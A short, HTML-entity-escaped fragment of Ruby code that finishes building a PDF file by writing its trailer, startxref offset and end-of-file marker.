		pdf &#60;&#60; &#34;trailer&#34; &#60;&#60; eol
		pdf &#60;&#60; &#34;&#60;&#60;/Size %d/Root &#34; % (xref.length + 1) &#60;&#60; ioRef(4) &#60;&#60; &#34;&#62;&#62;&#34; &#60;&#60; eol
		pdf &#60;&#60; &#34;startxref&#34; &#60;&#60; eol
		pdf &#60;&#60; xrefPosition.to_s() &#60;&#60; eol
		pdf &#60;&#60; &#34;%%EOF&#34; &#60;&#60; eol
	end

end